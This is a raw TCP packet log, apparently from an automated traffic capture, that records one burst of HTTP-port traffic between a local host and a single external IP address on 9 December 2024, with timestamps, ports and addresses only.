Dec 9, 2024 23:09:50.022412062 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.022624016 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.022665024 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.023132086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.023278952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.023288965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.023328066 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.023403883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.023961067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.024009943 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.024033070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.024043083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.024079084 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.024215937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.024255991 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.024782896 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.024872065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.024883032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.024918079 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.024997950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.025640965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.025679111 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.025728941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.025739908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.025763988 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.025902033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.026025057 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.026421070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.026523113 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.026537895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.026561975 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.026701927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.027322054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.027383089 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.027394056 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.027434111 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.027523041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.028086901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.028148890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.028160095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.028197050 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.028305054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.028909922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.029007912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.029017925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.029052973 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.029174089 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.029822111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.029903889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.029947042 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.029992104 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.030220032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.030566931 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.030613899 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.030632973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.030642986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.030675888 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.030836105 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.030883074 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.031410933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.031481028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.031492949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.031673908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.031713963 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.032250881 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.032326937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.032336950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.032377958 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.032459021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033047915 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.033082962 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033261061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033272982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033313036 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.033469915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033905983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033957005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033967972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.033997059 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.034142017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.034832954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.034842968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.034853935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.034882069 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.034914970 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.034934044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.035031080 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.035587072 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.035778046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.035788059 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.035818100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.035850048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.036365032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.036442041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.036452055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.036475897 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.036596060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.036798954 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.037290096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.037300110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.037311077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.037349939 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.037432909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038007021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038031101 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.038122892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038134098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038254023 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038294077 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.038832903 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038918018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038928986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.038968086 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.039048910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.039741039 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.039781094 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.039788008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.039798975 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.039839983 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.039963961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.040559053 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.040589094 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.040597916 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.040602922 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.040631056 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.040735960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.041399956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.041454077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.041464090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.041495085 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.041567087 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.041609049 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.042226076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.042277098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.042287111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.042330027 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.042412043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043045044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043061972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043072939 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043092966 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.043107986 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.043261051 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043869972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043906927 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.043915033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043927908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.043962955 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.044078112 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.044667006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.044708967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.044718981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.044765949 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.044842958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.044962883 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.045456886 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.045547009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.045557976 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.045701027 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.045712948 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.045754910 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.046274900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.046363115 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.046372890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.046521902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.046566963 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.047106028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.047230959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.047240973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.047281981 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.047346115 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.047939062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.048019886 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.048029900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.048072100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.048149109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.048779011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.048857927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.048866987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.048899889 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.049052954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.049614906 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.049679995 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.049690962 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.049735069 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.049804926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.050028086 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.050527096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.050605059 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.050616026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.050663948 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.050693035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.051336050 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.051526070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.051536083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.051583052 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.051661968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.052160978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.052201033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.052212000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.052248955 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.052375078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.052943945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.052983999 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.052994967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.053033113 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.053174019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.053719044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.053836107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.053845882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.053869009 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.053972006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.054651022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.054687023 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.054713011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.054728031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.054867029 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.054908991 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.055386066 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.055440903 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.055449963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.055480957 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.055696011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.056010962 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.056247950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.056282997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.056293011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.056313038 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.056426048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.057074070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.057118893 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.057146072 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.057157993 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.057303905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.057344913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.057885885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058026075 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058037043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058063030 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.058161974 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058703899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058742046 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.058764935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058775902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058953047 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.058994055 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.059515953 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.059582949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.059593916 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.059746981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.059772968 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.060373068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.060420990 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.060457945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.060468912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.060587883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.060628891 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.061167002 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.061279058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.061290026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.061326981 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.061393976 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062007904 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.062130928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062140942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062150955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062194109 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.062266111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062849998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062932968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062943935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.062982082 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.063111067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.063663006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.063724995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.063730001 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.063744068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.063894987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.063941956 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.064557076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.064625025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.064635992 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.064678907 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.064810991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.064862013 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.065357924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.065455914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.065465927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.065493107 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.065614939 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.065638065 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.065660954 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.066169977 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.066239119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.066248894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.066293955 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.066412926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.066970110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.067059994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.067070961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.067099094 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.067203999 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.067250967 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.067789078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.067864895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.067873955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.067915916 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.068037033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.068653107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.068706989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.068720102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.068742990 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.068876982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.069328070 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.069487095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.069571018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.069581985 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.069605112 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.069701910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.069780111 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.070297003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.070360899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.070372105 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.070430040 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.070542097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.070588112 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.071227074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.071284056 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.071294069 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.071346045 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.071469069 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.071520090 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.072117090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.072206020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.072216988 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.072242022 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.072314024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.072756052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.072830915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.072840929 CET	80	49868	185.215.113.16	192.168.2.4
